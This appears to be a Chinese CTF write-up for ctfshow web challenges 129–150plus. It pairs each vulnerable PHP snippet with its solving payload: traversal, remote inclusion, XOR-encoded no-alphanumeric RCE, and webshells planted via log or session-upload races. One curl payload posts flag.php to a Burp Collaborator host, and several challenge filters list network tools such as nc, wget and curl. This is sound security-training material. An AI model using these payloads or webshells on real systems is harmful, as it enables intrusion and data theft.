error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
-
目录穿越
?f=/ctfshow/../var/www/html/flag.php
-
远程文件包含,在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.txt为你写的一句话木马
?f=http://url/xxxx.txt?ctfshow
-
php伪协议
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130
-
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
-
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false -
但是这个题直接
f=ctfshow
就可,正则匹配不到这个,然后后面是0===false,都可以过去
web131
-
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
-
import requests url = "http://8e5babad-955e-4ff9-8484-0a9608e10481.challenge.ctf.show:8080/" data = { 'f': 'showsh'*170000+'36Dctfshow' } res = requests.post(url=url,data=data) print(res.text)
web132
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
-
进去是一个奇怪的网站,访问robots.txt看到admin的提示,访问/admin/,得到源码,这里一个if是输入,第二个if是&& ||,只需要||前面或者后面有一个为真便满足条件,所以可以满足
$username===admin
,第二个if$code=admin
-
所以payload就是
username=admin&code=admin&password=heihei
web133
-
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
-
限制了6个字符之内,ban了一些命令,而且设置了当前文件夹不可写,可以用``反引号替代exec,
-
最后payload
?F=`$F`;+curl -X POST -F xx=@flag.php yacpgx131i3hze08qlbkwtrh88ez2o.burpcollaborator.net
-
F=$F,这样就可以执行后面的内容了
-
利用curl将flag带出来,后面的内容是burp 带的 Burp Collaborator client生成的东西,然后就可以通过这个东西拿到flag了
web134
-
highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
-
这个又是那个extract函数
-
payload很骚
?_POST[key1]=36d&_POST[key2]=36d
web135
-
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
-
啊这,虽然ban了很多命令,但是可以写文件了
-
直接
?F=`$F `;cp flag.php 2.txt
web136
-
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
-
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt [//命令输出到1.txt文件中] -
payload
?c=ls /|tee 1
?c=cat /|tee 2
web137
-
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
-
php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法
-
payload
ctfshow=ctfshow::getflag
web138
-
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
-
call_user_func()函数中的参数不仅仅可以是字符串形式,还可以是数组形式
-
call_user_func(array($classname, 'say_hello')); 调用classname这个类里的sya_hello方法 array[0]=$classname 类名 array[1]=say_hello say_hello()方法
-
payload:
POST ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
-
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
-
用到的linux命令awk、cut用于获取某一行某一列的内容
-
awk 可以用来获取行,cut获取列
-
cat a.txt|awk NR==1|cut -c 1
-
payload:
-
爆破文件名
import requests url = "http://cc909878-e2c5-4205-98cd-a19ef4f417a3.challenge.ctf.show:8080/" result = "" for i in range(1,5): for j in range(1,15): #ascii码表 for k in range(32,128): k=chr(k) payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload, timeout=(1.5,1.5)) except: result = result + k print(result) break result += " "
然后得到了文件名字是f149_15_h3r3
-
之后爆破文件内容
import requests url = "http://cc909878-e2c5-4205-98cd-a19ef4f417a3.challenge.ctf.show:8080/" result = "" for j in range(1,60): #ascii码表 for k in range(32,128): k=chr(k) payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload, timeout=(1.5,1.5)) except: result = result + k print(result) break result += " "
web140
-
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
-
最后是一个弱比较,根据下面盗来的表可以看到只有是0的时候“php”与其比较会是true,那么只需要f1分
-
构造出一个字符串,intval会把非数字字符串转化为0,就可以绕过
-
payload
f1=sha1&f2=sha1
-
web 141
-
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)) $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
-
ban了字母数字,又是无字母数字rce
-
生成字典
-
result = '' preg = '[a-zA-Z0-9]' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) result += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('xor_rce.txt', 'w') f.write(result)
-
PHP中有个特性,+ - */这些符号,可以放在字符与函数名中间,这样会warning但是可以执行,比如
1+system("ls");
,但是1system("ls");
不能执行,报error -
生成payload
( system(“cat flag.php”) )
,?v1=1&v2=2&v3=/("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
web142
-
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
-
后面是乘法,然后sleep乘出来的结果,那么只用v1是0即可
-
payload
?v1=0
web143
-
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
-
web141plus,多过滤了;与|,
-
import requests import urllib import re # 生成字典 def write_rce(): result = '' preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) result += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('xor_rce.txt', 'w') f.write(result) # 得到payload def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main(): write_rce() while True: s1 = input("\n[+] your function:") if s1 == "exit": break s2 = input("[+] your command:") param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()
web144
-
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
-
对v3的长度作了限制,把payload放在v2上
-
payload
?v1=1&v3=2&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>
web145
-
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
-
过滤了双引号,那就用单引号代替
过滤了
?>
和;
那就用||
来代替或者用三目运算符 -
payload
?v1=1&v2=2&v3=?('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60'):
-
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
web146
-
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
-
不能用三目运算符,直接用上题payload
-
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
web147
-
highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
-
对ctf进行了一个正则表达式过滤,post传参的
ctf
和get传参的show
进行了组合,使用create_function()
进行代码注入 -
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
举例:
create_function('$fname','echo $fname."Zhang"')
类似于:
function fT($fname) { echo $fname."Zhang"; }
举一个官方提供的例子:
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc"; echo $newfunc(2, M_E) . " "; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599
-
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
-
payload: GET ?show=;};system('grep flag flag.php');/* POSOT ctf=%5ccreate_function
web148
-
include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); } function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
-
没ban
^
,用异或脚本跑 -
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
web149
-
error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
-
看名字像是竞争,但是可以直接往index.php里写🐎
-
GET ?ctf=index.php POST: show=<?php eval($_POST[1]);?>
-
然后访问index.php
-
1=system("cat /ctfshow_fl0g_here.txt");
web150
-
include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
-
可以用日志包含
-
U-A头写🐎,
<?php eval($_POST[1]);?>
-
之后GET 传isVIP=1,POST传
ctf=/var/log/nginx/access.log&1=system('cat flag.php');
web150plus
-
include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
-
把log ban了,不能日志包含了
-
还是session竞争
-
import io import requests import threading url = 'http://7851b30a-aef8-4260-9fc6-6e6ec7d92527.challenge.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): data = { 'ctf':'/tmp/sess_flag' } while True: response = session.post(url+'?isVIP=1',data=data) if 'ctfshow' in response.text: print(response.text) break if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start()